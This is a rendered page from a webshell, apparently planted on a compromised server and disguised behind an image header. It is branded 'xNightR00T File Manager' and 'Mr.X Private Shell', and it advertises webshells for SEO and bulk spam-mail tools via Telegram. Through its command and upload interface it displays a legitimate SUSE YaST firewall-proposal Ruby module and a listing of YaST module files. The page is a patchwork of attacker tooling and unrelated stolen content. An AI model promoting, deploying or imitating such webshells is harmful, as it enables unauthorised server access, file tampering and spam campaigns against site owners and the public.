xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# ***************************************************************************
#
# Copyright (c) 2002 - 2012 Novell, Inc.
# All Rights Reserved.
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of version 2 of the GNU General Public License as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.   See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, contact Novell, Inc.
#
# To contact Novell about this file by physical or electronic mail,
# you may find current contact information at www.novell.com
#
# ***************************************************************************
# File:	modules/SuSEFirewallProposal.ycp
# Package:	SuSEFirewall configuration
# Summary:	Functional interface for SuSEFirewall installation proposal
# Authors:	Lukas Ocilka <locilka@suse.cz>
#
# $Id$
#
# This module provides a functional API for Installation proposal of SuSEfirewall2
require "yast"

module Yast
  class SuSEFirewallProposalClass < Module
    include Yast::Logger

    def main
      textdomain "base"

      Yast.import "SuSEFirewall"
      Yast.import "ProductFeatures"
      Yast.import "Linuxrc"
      Yast.import "Package"
      Yast.import "SuSEFirewallServices"

      # <!-- SuSEFirewall LOCAL VARIABLES //-->

      # proposal was changed by user
      @proposal_changed_by_user = false

      # proposal was initialized yet
      @proposal_initialized = false

      # known interfaces
      @known_interfaces = []

      # warnings for this "turn"
      @warnings_now = []

      @vnc_fallback_ports = ["5801", "5901"]

      # bnc #427708, yet another name of service
      @vnc_service = "service:xorg-x11-server"

      @ssh_service = "service:sshd"
    end

    # <!-- SuSEFirewall LOCAL VARIABLES //-->

    # <!-- SuSEFirewall LOCAL FUNCTIONS //-->

    # Local function adds another warning string into warnings for user
    #
    # @param [String] warning
    def AddWarning(warning)
      @warnings_now = Builtins.add(@warnings_now, warning)

      nil
    end

    # Local function clears all warnings for user from memory
    def ClearWarnings
      @warnings_now = []

      nil
    end

    # Function returns list of warnings for user
    #
    # @return	[Array<String>] of warnings
    def GetWarnings
      deep_copy(@warnings_now)
    end

    # Local function sets currently known interfaces.
    #
    # @param [Array<String>] interfaces list of known interfaces
    def SetKnownInterfaces(interfaces)
      interfaces = deep_copy(interfaces)
      @known_interfaces = deep_copy(interfaces)

      nil
    end

    # Local function returns list [string] of known interfaces.
    # They must have been set using SetKnownInterfaces(list [string] interfaces)
    # function.
    #
    # @return	[Array<String>] of known interfaces
    def GetKnownInterfaces
      deep_copy(@known_interfaces)
    end

    # Function returns if interface is a dial-up type.
    #
    # @return	[Boolean] if is dial-up interface
    def IsDialUpInterface(interface)
      all_interfaces = SuSEFirewall.GetAllKnownInterfaces

      interface_type = nil
      Builtins.foreach(all_interfaces) do |one|
        next if Ops.get(one, "id") != interface
        # this is THE interface
        interface_type = Ops.get(one, "type")
      end

      interface_type == "dialup"
    end

    # Local function adds list of interfaces into zone.
    #
    # @param [Array<String>] interfaces
    # @param [String] zone
    def SetInterfacesToZone(interfaces, zone)
      interfaces = deep_copy(interfaces)
      Builtins.foreach(interfaces) do |interface|
        SuSEFirewall.AddInterfaceIntoZone(interface, zone)
      end

      nil
    end

    # Local function for updating user-changed proposal.
    def UpdateProposal
      last_known_interfaces = GetKnownInterfaces()
      currently_known_interfaces = SuSEFirewall.GetListOfKnownInterfaces

      had_dialup_interfaces = false
      Builtins.foreach(last_known_interfaces) do |this_interface|
        if IsDialUpInterface(this_interface)
          had_dialup_interfaces = true
          raise Break
        end
      end

      Builtins.foreach(currently_known_interfaces) do |interface|
        # already known but not assigned
        next if Builtins.contains(last_known_interfaces, interface)
        # already configured in some zone
        next if !SuSEFirewall.GetZoneOfInterface(interface).nil?
        # any dial-up interfaces presented and the new one isn't dial-up
        if had_dialup_interfaces && !IsDialUpInterface(interface)
          AddWarning(
            Builtins.sformat(
              # TRANSLATORS: Warning in installation proposal, %1 is a device name (eth0, sl0, ...)
              _(
                "New network device '%1' found; added as an internal firewall interface"
              ),
              interface
            )
          )
          SetInterfacesToZone([interface], "INT")
        else
          AddWarning(
            Builtins.sformat(
              # TRANSLATORS: Warning in installation proposal, %1 is a device name (eth0, sl0, ...)
              _(
                "New network device '%1' found; added as an external firewall interface"
              ),
              interface
            )
          )
          SetInterfacesToZone([interface], "EXT")
        end
      end

      SetKnownInterfaces(currently_known_interfaces)

      nil
    end

    # Returns whether service is enabled in zones.
    #
    # @param [String] service
    # @param [Array<String>] zones
    # @return [Boolean] if enabled
    def ServiceEnabled(service, zones)
      zones = deep_copy(zones)
      if service.nil? || service == ""
        Builtins.y2error("Ups, service: %1?", service)
        return false
      end

      if zones.nil? || zones == []
        Builtins.y2error("Ups, zones: %1?", zones)
        return false
      end

      serenabled = true

      serstat = SuSEFirewall.GetServices([service])
      Builtins.foreach(zones) do |one_zone|
        if Ops.get(serstat, [service, one_zone]) == false
          Builtins.y2milestone(
            "Service %1 is not enabled in %2",
            service,
            one_zone
          )
          serenabled = false
          raise Break
        end
      end

      serenabled
    end

    # Enables ports in zones.
    #
    # @param [Array<String>] fallback_ports fallback TCP ports
    # @param [Array<String>] zones
    def EnableFallbackPorts(fallback_ports, zones)
      known_zones = SuSEFirewall.GetKnownFirewallZones()
      unknown_zones = zones - known_zones
      raise "Unknown firewall zones #{unknown_zones}" unless unknown_zones.empty?

      log.info "Enabling fallback ports: #{fallback_ports} in zones: #{zones}"
      zones.each do |one_zone|
        fallback_ports.each do |one_port|
          SuSEFirewall.AddService(one_port, "TCP", one_zone)
        end
      end

      nil
    end

    # Function opens service for network interfaces given as the third parameter.
    # Fallback ports are used if the given service is uknown.
    # If interfaces are not assigned to any firewall zone, all zones will be used.
    #
    # @see OpenServiceOnNonDialUpInterfaces for more info.
    #
    # @param [String] service e.g., "service:http-server"
    # @param [Array<String>] fallback_ports e.g., ["80"]
    # @param [Array<String>] interfaces e.g., ["eth3"]
    def OpenServiceInInterfaces(service, fallback_ports, interfaces)
      fallback_ports = deep_copy(fallback_ports)
      interfaces = deep_copy(interfaces)
      zones = SuSEFirewall.GetZonesOfInterfaces(interfaces)

      # Interfaces might not be assigned to any zone yet, use all zones
      zones = SuSEFirewall.GetKnownFirewallZones() if zones.empty?

      if SuSEFirewallServices.IsKnownService(service)
        log.info "Opening service #{service} on interfaces #{interfaces} (zones #{zones})"
        SuSEFirewall.SetServicesForZones([service], zones, true)
      else
        log.warn "Unknown service #{service}, enabling fallback ports"
        EnableFallbackPorts(fallback_ports, zones)
      end

      nil
    end

    # Checks whether the given service or (TCP) ports are open at least in
    # one FW zone.
    #
    # @param [String] service e.g., "service:http-server"
    # @param [Array<String>] fallback_ports e.g., ["80"]
    def IsServiceOrPortsOpen(service, fallback_ports)
      fallback_ports = deep_copy(fallback_ports)
      ret = false

      Builtins.foreach(SuSEFirewall.GetKnownFirewallZones) do |zone|
        # either service is supported
        if SuSEFirewall.IsServiceSupportedInZone(service, zone)
          ret = true
          # or check for ports
        else
          all_ports = true

          # all ports have to be open
          Builtins.foreach(fallback_ports) do |port|
            if !SuSEFirewall.HaveService(port, "TCP", zone)
              all_ports = false
              raise Break
            end
          end

          ret = true if all_ports
        end
        raise Break if ret == true
      end

      ret
    end

    # Function opens up the service on all non-dial-up network interfaces.
    # If there are no network interfaces known and the 'any' feature is supported,
    # function opens the service for the zone supporting that feature. If there
    # are only dial-up interfaces, function opens the service for them.
    #
    # @param [String] service such as "service:koo" or "serice:boo"
    # @param [Array<String>] fallback_ports list of ports used as a fallback if the given service doesn't exist
    def OpenServiceOnNonDialUpInterfaces(service, fallback_ports)
      fallback_ports = deep_copy(fallback_ports)
      non_dial_up_interfaces = SuSEFirewall.GetAllNonDialUpInterfaces
      dial_up_interfaces = SuSEFirewall.GetAllDialUpInterfaces

      # Opening the service for non-dial-up interfaces
      if Ops.greater_than(Builtins.size(non_dial_up_interfaces), 0)
        OpenServiceInInterfaces(service, fallback_ports, non_dial_up_interfaces)
        # Only dial-up network interfaces, there mustn't be any non-dial-up one
      elsif Ops.greater_than(Builtins.size(dial_up_interfaces), 0)
        OpenServiceInInterfaces(service, fallback_ports, dial_up_interfaces)
        # No network interfaces are known
      elsif Builtins.size(@known_interfaces) == 0
        if SuSEFirewall.IsAnyNetworkInterfaceSupported == true
          Builtins.y2warning(
            "WARNING: Opening %1 for the External zone without any known interface!",
            Builtins.toupper(service)
          )
          OpenServiceInInterfaces(
            service,
            fallback_ports,
            [SuSEFirewall.special_all_interface_string]
          )
        end
      end

      nil
    end

    # Local function returns whether the Xen kernel is installed
    #
    # @return [Boolean] whether xen-capable kernel is installed.
    def IsXenInstalled
      # bug #154133
      return true if Package.Installed("kernel-xen")
      return true if Package.Installed("kernel-xenpae")

      false
    end

    # Local function for proposing firewall configuration.
    def ProposeFunctions
      known_interfaces = SuSEFirewall.GetAllKnownInterfaces

      dial_up_interfaces = []
      non_dup_interfaces = []
      Builtins.foreach(known_interfaces) do |interface|
        if Ops.get(interface, "type") == "dial_up"
          dial_up_interfaces = Builtins.add(
            dial_up_interfaces,
            Ops.get(interface, "id", "")
          )
        else
          non_dup_interfaces = Builtins.add(
            non_dup_interfaces,
            Ops.get(interface, "id", "")
          )
        end
      end

      Builtins.y2milestone(
        "Proposal based on configuration: Dial-up interfaces: %1, Other: %2",
        dial_up_interfaces,
        non_dup_interfaces
      )

      # has any network interface
      if Builtins.size(non_dup_interfaces) == 0 ||
          Builtins.size(dial_up_interfaces) == 0
        SuSEFirewall.SetEnableService(
          ProductFeatures.GetBooleanFeature("globals", "enable_firewall")
        )
        SuSEFirewall.SetStartService(
          ProductFeatures.GetBooleanFeature("globals", "enable_firewall")
        )
      end

      # has non-dial-up and also dial-up interfaces
      if Ops.greater_than(Builtins.size(non_dup_interfaces), 0) &&
          Ops.greater_than(Builtins.size(dial_up_interfaces), 0)
        SetInterfacesToZone(non_dup_interfaces, "INT")
        SetInterfacesToZone(dial_up_interfaces, "EXT")
        if ProductFeatures.GetBooleanFeature("globals", "firewall_enable_ssh")
          SuSEFirewall.SetServicesForZones([@ssh_service], ["INT", "EXT"], true)
        end

        # has non-dial-up and doesn't have dial-up interfaces
      elsif Ops.greater_than(Builtins.size(non_dup_interfaces), 0) &&
          Builtins.size(dial_up_interfaces) == 0
        SetInterfacesToZone(non_dup_interfaces, "EXT")
        if ProductFeatures.GetBooleanFeature("globals", "firewall_enable_ssh")
          SuSEFirewall.SetServicesForZones([@ssh_service], ["EXT"], true)
        end

        # doesn't have non-dial-up and has dial-up interfaces
      elsif Builtins.size(non_dup_interfaces) == 0 &&
          Ops.greater_than(Builtins.size(dial_up_interfaces), 0)
        SetInterfacesToZone(dial_up_interfaces, "EXT")
        if ProductFeatures.GetBooleanFeature("globals", "firewall_enable_ssh")
          SuSEFirewall.SetServicesForZones([@ssh_service], ["EXT"], true)
        end
      end

      # Dial-up interfaces are considered to be internal,
      # Non-dial-up are considered to be external.
      # If there are only Non-dial-up interfaces, they are all considered as external.
      #
      # VNC Installation proposes to open VNC Access up on the Non-dial-up interfaces only.
      # SSH Installation is the same case...
      if Linuxrc.vnc
        Builtins.y2milestone(
          "This is an installation over VNC, opening VNC on all non-dial-up interfaces..."
        )
        # Try the service first, then ports
        # bnc #398855
        OpenServiceOnNonDialUpInterfaces(@vnc_service, @vnc_fallback_ports)
      end
      if Linuxrc.usessh
        Builtins.y2milestone(
          "This is an installation over SSH, opening SSH on all non-dial-up interfaces..."
        )
        # Try the service first, then ports
        # bnc #398855
        OpenServiceOnNonDialUpInterfaces(@ssh_service, ["ssh"])
      end

      # Firewall support for XEN domain0
      if IsXenInstalled()
        Builtins.y2milestone(
          "Adding Xen support into the firewall configuration"
        )
        SuSEFirewall.AddXenSupport
      end

      propose_iscsi if Linuxrc.useiscsi

      SetKnownInterfaces(SuSEFirewall.GetListOfKnownInterfaces)

      nil
    end

    # <!-- SuSEFirewall LOCAL FUNCTIONS //-->

    # <!-- SuSEFirewall GLOBAL FUNCTIONS //-->

    # Function sets that proposal was changed by user
    #
    # @param changed [true, false] if changed by user
    def SetChangedByUser(changed)
      Builtins.y2milestone("Proposal was changed by user")
      @proposal_changed_by_user = changed

      nil
    end

    # Local function returns if proposal was changed by user
    #
    # @return	[Boolean] if proposal was changed by user
    def GetChangedByUser
      @proposal_changed_by_user
    end

    # Function sets that proposal was initialized
    #
    # @param initialized [true, false] if initialized
    def SetProposalInitialized(initialized)
      @proposal_initialized = initialized

      nil
    end

    # Local function returns if proposal was initialized already
    #
    # @return	[Boolean] if proposal was initialized
    def GetProposalInitialized
      @proposal_initialized
    end

    # Function fills up default configuration into internal values
    #
    # @return [void]
    def Reset
      SuSEFirewall.ResetReadFlag
      SuSEFirewall.Read

      nil
    end

    # Function proposes the SuSEfirewall2 configuration
    #
    # @return [void]
    def Propose
      # No proposal when SuSEfirewall2 is not installed
      if !SuSEFirewall.SuSEFirewallIsInstalled
        SuSEFirewall.SetEnableService(false)
        SuSEFirewall.SetStartService(false)
        return nil
      end

      # Not changed by user - Propose from scratch
      if !GetChangedByUser()
        Builtins.y2milestone("Calling firewall configuration proposal")
        Reset()
        ProposeFunctions()
        # Changed - don't break user's configuration
      else
        Builtins.y2milestone("Calling firewall configuration update proposal")
        UpdateProposal()
      end

      nil
    end

    # Function returns the proposal summary
    #
    # @return [Hash{String => String}] proposal
    #
    # **Structure:**
    #
    #     map $[
    #     	"output" : "HTML Proposal Summary",
    #     	"warning" : "HTML Warning Summary",
    #      ]
    def ProposalSummary
      # output: $[ "output" : "HTML Proposal", "warning" : "HTML Warning" ];
      output = ""
      warning = ""

      # SuSEfirewall2 package needn't be installed
      if !SuSEFirewall.SuSEFirewallIsInstalled
        # TRANSLATORS: Proposal informative text
        output = "<ul>" +
          _(
            "SuSEfirewall2 package is not installed, firewall will be disabled."
          ) + "</ul>"

        return { "output" => output, "warning" => warning }
      end

      # SuSEfirewall2 is installed...

      firewall_is_enabled = SuSEFirewall.GetEnableService == true

      output = Ops.add(output, "<ul>\n")
      output = Ops.add(
        Ops.add(
          Ops.add(output, "<li>"),
          if firewall_is_enabled
            # TRANSLATORS: Proposal informative text "Firewall is enabled (disable)" with link around
            # IMPORTANT: Please, do not change the HTML link <a href="...">...</a>, only visible text
            _(
              "Firewall is enabled (<a href=\"firewall--disable_firewall_in_proposal\">disable</a>)"
            )
          else
            # TRANSLATORS: Proposal informative text "Firewall is disabled (enable)" with link around
            # IMPORTANT: Please, do not change the HTML link <a href="...">...</a>, only visible text
            _(
              "Firewall is disabled (<a href=\"firewall--enable_firewall_in_proposal\">enable</a>)"
            )
          end
        ),
        "</li>\n"
      )

      if firewall_is_enabled
        # Any enabled SSH means SSH-is-enabled
        is_ssh_enabled = false

        # Any known interfaces
        if Ops.greater_than(Builtins.size(@known_interfaces), 0)
          Builtins.y2milestone("Interfaces: %1", @known_interfaces)

          # all known interfaces for testing
          used_zones = SuSEFirewall.GetZonesOfInterfacesWithAnyFeatureSupported(
            @known_interfaces
          )
          Builtins.y2milestone("Zones used by firewall: %1", used_zones)

          Builtins.foreach(used_zones) do |zone|
            if SuSEFirewall.IsServiceSupportedInZone(@ssh_service, zone) ||
                SuSEFirewall.HaveService("ssh", "TCP", zone)
              is_ssh_enabled = true
            end
          end

          output = Ops.add(
            Ops.add(
              Ops.add(output, "<li>"),
              if is_ssh_enabled
                # TRANSLATORS: Network proposal informative text with link around
                # IMPORTANT: Please, do not change the HTML link <a href="...">...</a>, only visible text
                _(
                  "SSH port is open (<a href=\"firewall--disable_ssh_in_proposal\">close</a>)"
                )
              else
                # TRANSLATORS: Network proposal informative text with link around
                # IMPORTANT: Please, do not change the HTML link <a href="...">...</a>, only visible text
                _(
                  "SSH port is blocked (<a href=\"firewall--enable_ssh_in_proposal\">open</a>)"
                )
              end
            ),
            "</li>\n"
          )

          # No known interfaces, but 'any' is supported
          # and ssh is enabled there
        elsif SuSEFirewall.IsAnyNetworkInterfaceSupported &&
            SuSEFirewall.IsServiceSupportedInZone(
              @ssh_service,
              SuSEFirewall.special_all_interface_zone
            )
          is_ssh_enabled = true
          # TRANSLATORS: Network proposal informative text with link around
          # IMPORTANT: Please, do not change the HTML link <a href="...">...</a>, only visible text
          output = Ops.add(
            Ops.add(
              Ops.add(output, "<li>"),
              _(
                "SSH port is open (<a href=\"firewall--disable_ssh_in_proposal\">close</a>), but\nthere are no network interfaces configured"
              )
            ),
            "</li>"
          )
        end
        Builtins.y2milestone(
          "SSH is " + (is_ssh_enabled ? "" : "not ") + "enabled"
        )

        if Linuxrc.usessh
          if !is_ssh_enabled
            # TRANSLATORS: This is a warning message. Installation over SSH without SSH allowed on firewall
            AddWarning(
              _(
                "You are installing a system over SSH, but you have not opened the SSH port on the firewall."
              )
            )
          end
        end

        # when the firewall is enabled and we are installing the system over VNC
        if Linuxrc.vnc
          # Any enabled VNC means VNC-is-enabled
          is_vnc_enabled = false
          if Ops.greater_than(Builtins.size(@known_interfaces), 0)
            Builtins.foreach(
              SuSEFirewall.GetZonesOfInterfacesWithAnyFeatureSupported(
                @known_interfaces
              )
            ) do |zone|
              if SuSEFirewall.IsServiceSupportedInZone(@vnc_service, zone) == true
                is_vnc_enabled = true
                # checking also fallback ports
              else
                set_vnc_enabled_to = true
                Builtins.foreach(@vnc_fallback_ports) do |one_port|
                  if SuSEFirewall.HaveService(one_port, "TCP", zone) != true
                    set_vnc_enabled_to = false
                    raise Break
                  end
                  is_vnc_enabled = true if set_vnc_enabled_to == true
                end
              end
            end
          end
          Builtins.y2milestone(
            "VNC port is " + (is_vnc_enabled ? "open" : "blocked") + " in the firewall"
          )

          output = Ops.add(
            Ops.add(
              Ops.add(output, "<li>"),
              if is_vnc_enabled
                # TRANSLATORS: Network proposal informative text "Remote Administration (VNC) is enabled" with link around
                # IMPORTANT: Please, do not change the HTML link <a href="...">...</a>, only visible text
                _(
                  "Remote Administration (VNC) ports are open (<a href=\"firewall--disable_vnc_in_proposal\">close</a>)"
                )
              else
                # TRANSLATORS: Network proposal informative text "Remote Administration (VNC) is disabled" with link around
                # IMPORTANT: Please, do not change the HTML link <a href="...">...</a>, only visible text
                _(
                  "Remote Administration (VNC) ports are blocked (<a href=\"firewall--enable_vnc_in_proposal\">open</a>)"
                )
              end
            ),
            "</li>\n"
          )

          if !is_vnc_enabled
            # TRANSLATORS: This is a warning message. Installation over VNC without VNC allowed on firewall
            AddWarning(
              _(
                "You are installing a system using remote administration (VNC), but you have not opened the VNC ports on the firewall."
              )
            )
          end
        end

        if Linuxrc.useiscsi
          is_iscsi_enabled = IsServiceOrPortsOpen(
            @iscsi_target_service,
            @iscsi_target_fallback_ports
          )

          output = Ops.add(
            Ops.add(
              Ops.add(output, "<li>"),
              if is_iscsi_enabled
                # TRANSLATORS: Network proposal informative text
                _("iSCSI Target ports are open")
              else
                # TRANSLATORS: Network proposal informative text
                _("iSCSI Target ports are blocked")
              end
            ),
            "</li>\n"
          )

          if !is_iscsi_enabled
            # TRANSLATORS: This is a warning message. Installation to iSCSI without iSCSI allowed on firewall
            AddWarning(
              _(
                "You are installing a system using iSCSI Target, but you have not opened the needed ports on the firewall."
              )
            )
          end
        end

        warnings_strings = GetWarnings()
        if Ops.greater_than(Builtins.size(warnings_strings), 0)
          ClearWarnings()
          Builtins.foreach(warnings_strings) do |single_warning|
            warning = Ops.add(
              Ops.add(Ops.add(warning, "<li>"), single_warning),
              "</li>\n"
            )
          end
          warning = Ops.add(Ops.add("<ul>\n", warning), "</ul>\n")
        end
      end

      output = Ops.add(output, "</ul>\n")

      { "output" => output, "warning" => warning }
    end

    # Proposes firewall settings for iSCSI
    def propose_iscsi
      log.info "iSCSI has been used during installation, proposing FW full_init_on_boot"

      # bsc#916376: ports need to be open already during boot
      SuSEFirewall.full_init_on_boot(true)

      nil
    end

    publish function: :OpenServiceOnNonDialUpInterfaces, type: "void (string, list <string>)"
    publish function: :SetChangedByUser, type: "void (boolean)"
    publish function: :GetChangedByUser, type: "boolean ()"
    publish function: :SetProposalInitialized, type: "void (boolean)"
    publish function: :GetProposalInitialized, type: "boolean ()"
    publish function: :Reset, type: "void ()"
    publish function: :Propose, type: "void ()"
    publish function: :ProposalSummary, type: "map <string, string> ()"
    publish function: :propose_iscsi, type: "void ()"
  end

  SuSEFirewallProposal = SuSEFirewallProposalClass.new
  SuSEFirewallProposal.main
end

Filemanager

Name Type Size Permission Actions
YaPI Folder 0755
YaST Folder 0755
ALog.rb File 3.26 KB 0644
AddOnProduct.rb File 78.59 KB 0644
Address.rb File 3.45 KB 0644
Arch.rb File 15.59 KB 0644
AsciiFile.rb File 12.59 KB 0644
Assert.rb File 2.06 KB 0644
AuditLaf.rb File 21.16 KB 0644
AuthServer.pm File 172.86 KB 0644
AutoInstall.rb File 11.34 KB 0644
AutoInstallRules.rb File 36.37 KB 0644
AutoinstClass.rb File 7.62 KB 0644
AutoinstClone.rb File 6.82 KB 0644
AutoinstCommon.rb File 3.18 KB 0644
AutoinstConfig.rb File 17.86 KB 0644
AutoinstData.rb File 2.37 KB 0644
AutoinstDrive.rb File 14.28 KB 0644
AutoinstFile.rb File 9.3 KB 0644
AutoinstFunctions.rb File 1.1 KB 0644
AutoinstGeneral.rb File 17.48 KB 0644
AutoinstImage.rb File 1.75 KB 0644
AutoinstLVM.rb File 21.58 KB 0644
AutoinstPartPlan.rb File 36.37 KB 0644
AutoinstPartition.rb File 14.53 KB 0644
AutoinstRAID.rb File 7.73 KB 0644
AutoinstScripts.rb File 36.75 KB 0644
AutoinstSoftware.rb File 38.57 KB 0644
AutoinstStorage.rb File 48.62 KB 0644
Autologin.rb File 4.82 KB 0644
BootArch.rb File 3.37 KB 0644
BootStorage.rb File 10.15 KB 0644
BootSupportCheck.rb File 7.36 KB 0644
Bootloader.rb File 15.87 KB 0644
CWM.rb File 39.16 KB 0644
CWMFirewallInterfaces.rb File 38.92 KB 0644
CWMServiceStart.rb File 27.49 KB 0644
CWMTab.rb File 13.2 KB 0644
CWMTable.rb File 14.57 KB 0644
CWMTsigKeys.rb File 24.93 KB 0644
CaMgm.rb File 12.9 KB 0644
Call.rb File 1.53 KB 0644
CheckMedia.rb File 6.1 KB 0644
CommandLine.rb File 52.89 KB 0644
Confirm.rb File 6.95 KB 0644
Console.rb File 8.63 KB 0644
ContextMenu.rb File 1.4 KB 0644
Crash.rb File 5.26 KB 0644
Cron.rb File 2.85 KB 0644
CustomDialogs.rb File 2.52 KB 0644
DNS.rb File 23.77 KB 0644
DebugHooks.rb File 4.89 KB 0644
DefaultDesktop.rb File 13.29 KB 0644
Desktop.rb File 12.5 KB 0644
DevicesSelectionBox.rb File 5.67 KB 0644
DhcpServer.pm File 70.43 KB 0644
DhcpServerUI.rb File 10.43 KB 0644
DialogTree.rb File 11.76 KB 0644
Directory.rb File 4.99 KB 0644
Distro.rb File 2.29 KB 0644
DnsData.pm File 1.65 KB 0644
DnsFakeTabs.rb File 751 B 0644
DnsRoutines.pm File 2.81 KB 0644
DnsServer.pm File 57.26 KB 0644
DnsServerAPI.pm File 68.81 KB 0644
DnsServerHelperFunctions.rb File 11.83 KB 0644
DnsServerUI.rb File 3.78 KB 0644
DnsTsigKeys.pm File 2.53 KB 0644
DnsZones.pm File 22.9 KB 0644
DontShowAgain.rb File 13.03 KB 0644
DualMultiSelectionBox.rb File 24.91 KB 0644
Encoding.rb File 4.54 KB 0644
Event.rb File 4.89 KB 0644
FTP.rb File 2.32 KB 0644
FileChanges.rb File 9.39 KB 0644
FileSystems.rb File 69.86 KB 0644
FileUtils.rb File 17.64 KB 0644
FtpServer.rb File 36.4 KB 0644
GPG.rb File 13.58 KB 0644
GPGWidgets.rb File 12.34 KB 0644
GetInstArgs.rb File 4.04 KB 0644
Greasemonkey.rb File 6.86 KB 0644
HTML.rb File 6.11 KB 0644
HTTP.rb File 3.37 KB 0644
HWConfig.rb File 5.1 KB 0644
Hooks.rb File 5.76 KB 0644
Host.rb File 10.78 KB 0644
Hostname.rb File 7.35 KB 0644
Hotplug.rb File 5.64 KB 0644
HttpServer.rb File 26.81 KB 0644
HttpServerWidgets.rb File 120.87 KB 0644
HwStatus.rb File 3.08 KB 0644
IP.rb File 12.65 KB 0644
IPSecConf.rb File 22.58 KB 0644
Icon.rb File 5.43 KB 0644
ImageInstallation.rb File 49.56 KB 0644
Inetd.rb File 28.29 KB 0644
Initrd.rb File 16.41 KB 0644
InstData.rb File 4.13 KB 0644
InstError.rb File 6.95 KB 0644
InstExtensionImage.rb File 15.48 KB 0644
InstFunctions.rb File 5.12 KB 0644
InstShowInfo.rb File 2.81 KB 0644
InstURL.rb File 6.06 KB 0644
Installation.rb File 10.29 KB 0644
Instserver.rb File 43.86 KB 0644
Integer.rb File 2.99 KB 0644
Internet.rb File 9.29 KB 0644
IscsiClient.rb File 9.74 KB 0644
IscsiClientLib.rb File 55.9 KB 0644
IsnsServer.rb File 11.07 KB 0644
Kdump.rb File 38.8 KB 0644
Kerberos.rb File 37.03 KB 0644
Kernel.rb File 22.96 KB 0644
KeyManager.rb File 8.47 KB 0644
Keyboard.rb File 50.48 KB 0644
Kickstart.rb File 23.84 KB 0644
Label.rb File 9.11 KB 0644
Lan.rb File 32.38 KB 0644
LanItems.rb File 94.36 KB 0644
Language.rb File 45.33 KB 0644
Ldap.rb File 63.96 KB 0644
LdapDatabase.rb File 77.2 KB 0644
LdapPopup.rb File 21.03 KB 0644
LdapServerAccess.pm File 8.73 KB 0644
Linuxrc.rb File 7.53 KB 0644
LogView.rb File 21.39 KB 0644
LogViewCore.rb File 6.32 KB 0644
Mail.rb File 43.92 KB 0644
MailAliases.rb File 6.88 KB 0644
MailTable.pm File 3.25 KB 0644
MailTableInclude.pm File 4.79 KB 0644
Map.rb File 4.27 KB 0644
Message.rb File 11.39 KB 0644
MiniWorkflow.rb File 2.88 KB 0644
Misc.rb File 11.8 KB 0644
Mode.rb File 10.76 KB 0644
ModuleLoading.rb File 9.26 KB 0644
ModulesConf.rb File 4.24 KB 0644
Mtab.rb File 1.24 KB 0644
NetHwDetection.rb File 8.46 KB 0644
Netmask.rb File 5.08 KB 0644
Network.rb File 1.3 KB 0644
NetworkConfig.rb File 5.9 KB 0644
NetworkInterfaces.rb File 56.49 KB 0644
NetworkPopup.rb File 7.86 KB 0644
NetworkService.rb File 12.71 KB 0644
NetworkStorage.rb File 1.91 KB 0644
Nfs.rb File 22.35 KB 0644
NfsOptions.rb File 5.63 KB 0644
NfsServer.rb File 10.64 KB 0644
Nis.rb File 42.75 KB 0644
NisServer.rb File 39.93 KB 0644
Nsswitch.rb File 3.6 KB 0644
NtpClient.rb File 46.6 KB 0644
OSRelease.rb File 3.68 KB 0644
OneClickInstall.rb File 28.86 KB 0644
OneClickInstallStandard.rb File 4.35 KB 0644
OneClickInstallWidgets.rb File 16.54 KB 0644
OneClickInstallWorkerFunctions.rb File 10.6 KB 0644
OneClickInstallWorkerResponse.rb File 5.63 KB 0644
OnlineUpdate.rb File 4.04 KB 0644
OnlineUpdateCallbacks.rb File 19.62 KB 0644
OnlineUpdateDialogs.rb File 16.85 KB 0644
Package.rb File 7.78 KB 0644
PackageAI.rb File 5.03 KB 0644
PackageCallbacks.rb File 87.95 KB 0644
PackageCallbacksInit.rb File 2.12 KB 0644
PackageInstallation.rb File 8.49 KB 0644
PackageKit.rb File 2.67 KB 0644
PackageLock.rb File 6.77 KB 0644
PackageSlideShow.rb File 42.52 KB 0644
PackageSystem.rb File 16.87 KB 0644
Packages.rb File 94.3 KB 0644
PackagesProposal.rb File 11.79 KB 0644
PackagesUI.rb File 24.29 KB 0644
Pam.rb File 3.73 KB 0644
Partitions.rb File 33.23 KB 0644
Popup.rb File 57.78 KB 0644
PortAliases.rb File 10.47 KB 0644
PortRanges.rb File 22.92 KB 0644
Printer.rb File 112.82 KB 0644
Printerlib.rb File 31.82 KB 0644
Product.rb File 8.9 KB 0644
ProductControl.rb File 52.95 KB 0644
ProductFeatures.rb File 12.23 KB 0644
ProductLicense.rb File 50.23 KB 0644
ProductProfile.rb File 8.01 KB 0644
Profile.rb File 29.95 KB 0644
ProfileLocation.rb File 9.45 KB 0644
Progress.rb File 28.17 KB 0644
Proxy.rb File 15.65 KB 0644
Punycode.rb File 11.81 KB 0644
Region.rb File 1.82 KB 0644
RelocationServer.rb File 14.65 KB 0644
Remote.rb File 10.42 KB 0644
Report.rb File 25.13 KB 0644
RichText.rb File 4.01 KB 0644
RootPart.rb File 71.9 KB 0644
Routing.rb File 17.25 KB 0644
SLP.rb File 7.06 KB 0644
SLPAPI.pm File 879 B 0644
SSHAuthorizedKeys.rb File 3.74 KB 0644
SUSERelease.rb File 2.82 KB 0644
Samba.rb File 38.14 KB 0644
SambaAD.pm File 12.46 KB 0644
SambaConfig.pm File 37.4 KB 0644
SambaNetJoin.pm File 13.14 KB 0644
SambaNmbLookup.pm File 6.58 KB 0644
